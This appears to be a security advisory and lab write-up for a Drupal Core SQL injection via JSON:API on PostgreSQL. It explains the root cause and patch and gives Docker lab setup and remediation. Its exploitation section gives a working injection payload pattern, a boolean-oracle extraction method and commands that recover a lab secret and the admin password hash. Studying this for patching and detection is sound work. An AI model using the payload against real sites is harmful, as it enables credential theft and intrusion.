Skip to content

CVE-2026-9082 — Unauthenticated SQL Injection in Drupal Core via JSON:API (PostgreSQL)

Published 2026-06-06

Actively exploited

This vulnerability was added to the CISA Known Exploited Vulnerabilities catalog on May 22, 2026, two days after public disclosure. Patch immediately.

Field Value
Project Drupal Core
Affected component core/modules/pgsql/src/EntityQuery/Condition.php (translateCondition())
Severity CRITICAL
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N (NVD base score 6.5; Drupal rated risk 20/25 "Highly Critical")
CWE CWE-89
Affected versions Drupal Core 8.9.0 through < 10.4.10, < 10.5.10, < 10.6.9, < 11.1.10, < 11.2.12, < 11.3.10 (PostgreSQL backend only)
Fixed version 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 (patch commit ea9524d9)
Advisory GHSA-ghwc-95x2-682j, Drupal SA-CORE-2026-004

1. Vulnerability Overview

Drupal Core is a widely deployed PHP content management framework. Its JSON:API module, enabled by default since Drupal 9, allows anonymous clients to query published content using URL filter parameters. On sites backed by PostgreSQL, a flaw in how Drupal builds SQL for case-insensitive IN comparisons lets an unauthenticated remote attacker inject arbitrary SQL into those queries. The attacker needs no account, no session cookie, and no API token; a single crafted HTTP GET request is sufficient to start extracting data from the database.

An attacker can read any row in any table the application database user can reach, including password hashes, session tokens, and private content. On installations where the PostgreSQL application user holds superuser privileges, the injection can escalate to remote code execution via COPY … FROM PROGRAM.

Root cause

The PostgreSQL-specific Condition class in core/modules/pgsql/src/EntityQuery/Condition.php overrides the parent translateCondition() method to wrap string comparisons in LOWER(…) for case-insensitive IN clauses. The vulnerable loop iterates over a user-supplied associative array and uses the array keys — verbatim, without sanitization — to build PDO named-placeholder identifiers:

// VULNERABLE (before patch) — core/modules/pgsql/src/EntityQuery/Condition.php
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
    $where_id = $where_prefix . $key;                   // $key is attacker-controlled
    $condition['where'] .= 'LOWER(:' . $where_id . '),';
    $condition['where_args'][':' . $where_id] = $value;
}

PDO named placeholders accept only [a-zA-Z0-9_]. When an attacker supplies a key containing ), PDO stops parsing the placeholder name at that character. Everything after becomes literal SQL embedded directly in the query string. Because Drupal's PostgreSQL driver uses PDO emulated prepares, the injected SQL reaches the database before any parameter binding can contain it.

JSON:API maps URL filter parameters to PHP array keys. The request parameter

filter[x][condition][value][MALICIOUS_KEY]=val

preserves MALICIOUS_KEY as an array key inside $condition['value'], which then flows unmodified into the vulnerable loop.

The fix (patch commit ea9524d9, authored by Dave Long, May 20, 2026) is a one-liner applied in the same form to all three affected files — Condition.php, ConditionAggregate.php, and pgsql/EntityQuery/Condition.php. Before the foreach, it normalizes the array to discard any string keys and replace them with sequential integer indices:

// PATCH — applied in all three files before the foreach
if (is_array($condition['value'])) {
    $condition['value'] = array_values($condition['value']);
}

After the patch $key is always an integer (0, 1, 2, …), so the constructed placeholder name is always alphanumeric and can never carry injected SQL.

2. Vulnerable Environment

The reproduction stack runs entirely in Docker Compose with no cloud dependencies or special kernel features. Two containers make up the vulnerable target: a Drupal 11.3.9 application container (Apache/PHP, JSON:API enabled) and a PostgreSQL 16 backend. Drupal listens on 127.0.0.1:8888; the database port is not exposed to the host. An optional third/fourth container pair running Drupal 11.3.10 (the first patched release) is available under the control compose profile for side-by-side comparison.

Download the full environment bundle — env.zip — or browse individual files: env/Dockerfile, env/docker-compose.yml, env/config/entrypoint.sh.

Stand up the environment

# Build the Drupal image and start the vulnerable stack
docker compose -f env/docker-compose.yml up -d --build

# (Optional) also start the patched control for comparison
docker compose -f env/docker-compose.yml --profile control up -d --build

The entrypoint script at env/config/entrypoint.sh runs on every container start. It installs Drupal with Drush, creates the server-only lab_secret table, and on each boot generates two fresh random secrets:

  • A random UUID-derived value (format LABSECRET-<32 hex>) inserted into lab_secret.secret via gen_random_uuid().
  • A fresh bcrypt password hash set on the uid=1 administrator account via drush user:password.

Neither secret is baked into the image at build time; both rotate on every restart.

Confirming the environment is vulnerable

Run the smoke tests below. All three should pass before proceeding to exploitation.

# 1. Vulnerable Drupal serves the JSON:API article resource to anonymous clients (expect HTTP 200):
curl -s -o /dev/null -w "drupal http=%{http_code}\n" http://127.0.0.1:8888/jsonapi/node/article

# 2. Seed article is present (expect title "Lab seed article"):
curl -s "http://127.0.0.1:8888/jsonapi/node/article" | grep -o '"title":"[^"]*"' | head -1

# 3. Drupal version is in the affected range (expect 11.3.9):
docker exec cve-2026-9082-drupal grep "const VERSION" /opt/drupal/web/core/lib/Drupal.php

# 4. Fresh secret exists at its privileged location (expect a LABSECRET-... string):
docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
  -c "SELECT secret FROM lab_secret WHERE id=1;"

3. How to Exploit

Download the full exploit bundle — exploit.zip — or browse individual files: exploit/run.sh, exploit/extract.py.

The exploit needs only Python 3 (standard library). No third-party packages are required.

How the injection works

The PoC crafts a JSON:API filter request that supplies an attacker-controlled array key as part of the value parameter. The key is structured to break out of the LOWER(:placeholder) expression in translateCondition() and inject a boolean predicate:

filter[t][condition][value][1))/**/AND/**/(<PRED>)/**/AND/**/((1=1]

With the seed article title as value[0], the resulting WHERE clause becomes:

((LOWER(title) IN (LOWER(:t0), LOWER(:t1), LOWER(:t1)) AND (<PRED>) AND ((1=1))))

The IN clause is satisfied by the seed article title, making the entire WHERE condition true when <PRED> is true. This turns the JSON:API response into a boolean oracle: if the data array in the response contains one item, the predicate evaluated to true; if it is empty, the predicate evaluated to false.

By binary-searching the ASCII value of each character in an arbitrary SQL scalar expression through this oracle, extract.py recovers the full string character by character.

Steps

Step 1. Read the true secret value through the privileged database channel (this is independent of the exploit — the verifier uses it to confirm the result):

docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
  -c "SELECT secret FROM lab_secret WHERE id=1;"

Step 2. Run the exploit against the vulnerable Drupal instance:

bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
  "SELECT secret FROM lab_secret WHERE id=1"

The script takes three arguments: the base URL of the Drupal instance, the title of a published article (which anchors the boolean oracle), and any scalar SQL expression whose result should be extracted.

Step 3. Observe the output. On a vulnerable build, extract.py writes per-character progress to stderr and prints a single labeled line to stdout when complete:

RECOVERED_SECRET=LABSECRET-f5d1383a8e604f12b79ab74324f9c983

Step 4. Compare the recovered value against the true value read in Step 1. They must match exactly.

What proves it worked

The verifier reads the true current secret from the PostgreSQL container through a direct authenticated database session, a channel the exploit script never touches (extract.py uses only urllib.request.urlopen against the public Drupal HTTP endpoint). Because the secret is regenerated on every container boot, the exploit could not have obtained it in advance or from any other source.

In the verified run recorded here, the privileged channel returned:

LABSECRET-f5d1383a8e604f12b79ab74324f9c983

The exploit's stdout returned:

RECOVERED_SECRET=LABSECRET-f5d1383a8e604f12b79ab74324f9c983

The values matched exactly (42-character match, all characters recovered). A two-boot test before the exploit run confirmed freshness: the first boot produced LABSECRET-6081b09d35dd4324a61abb5cb482ed38 and the second produced LABSECRET-f5d1383a8e604f12b79ab74324f9c983, which rules out a static baked-in value.

A source-level check inside the running container verified the vulnerable code path was present and the patch absent:

# Confirms the $where_id = $where_prefix . $key; line exists with no array_values() guard:
docker exec cve-2026-9082-drupal grep -n "where_id" \
  /opt/drupal/web/core/modules/pgsql/src/EntityQuery/Condition.php

Extracting other data

The sql_expression argument accepts any scalar SQL expression the application database user can evaluate. To extract the administrator's stored password hash:

bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
  "SELECT pass FROM users_field_data WHERE uid=1"

Teardown

# Remove the vulnerable stack and its volumes:
docker compose -f env/docker-compose.yml down -v

# If the patched control was also running:
docker compose -f env/docker-compose.yml --profile control down -v

4. Security Advice

Remediation

Upgrade Drupal Core to the fixed release for your branch:

Branch Fixed version
10.4.x 10.4.10
10.5.x 10.5.10
10.6.x 10.6.9
11.1.x 11.1.10
11.2.x 11.2.12
11.3.x 11.3.10

Drupal also released patches for the unsupported 8.9 and 9.5 branches for operators who cannot migrate. Check the official advisory for the patch download.

The fix is a single array_values() call applied before the vulnerable foreach loop in three files. It strips attacker-controlled string keys and replaces them with sequential integers, keeping the constructed PDO placeholder name alphanumeric. See patch commit ea9524d9 in the Drupal repository.

Mitigations and workarounds

If an immediate upgrade is not possible, the following interim measures reduce exposure (none fully eliminates the risk):

  • Disable the JSON:API module if it is not required. This removes the primary attack surface, though the /user/login endpoint provides an alternative vector.
  • Restrict anonymous access to JSON:API by enabling JSON:API's read-only mode and requiring authentication for all filter queries (available in Drupal 9.4+).
  • Use a WAF rule to reject requests where a query parameter key contains ) or /* patterns — these are strong indicators of this specific injection syntax. This is a detection heuristic, not a complete block.
  • Limit the PostgreSQL application user's privileges: revoke SUPERUSER and CREATEROLE from the Drupal database user to prevent the COPY … FROM PROGRAM RCE escalation path.

This vulnerability is PostgreSQL-specific. Sites running MySQL, MariaDB, or SQLite are not affected.

References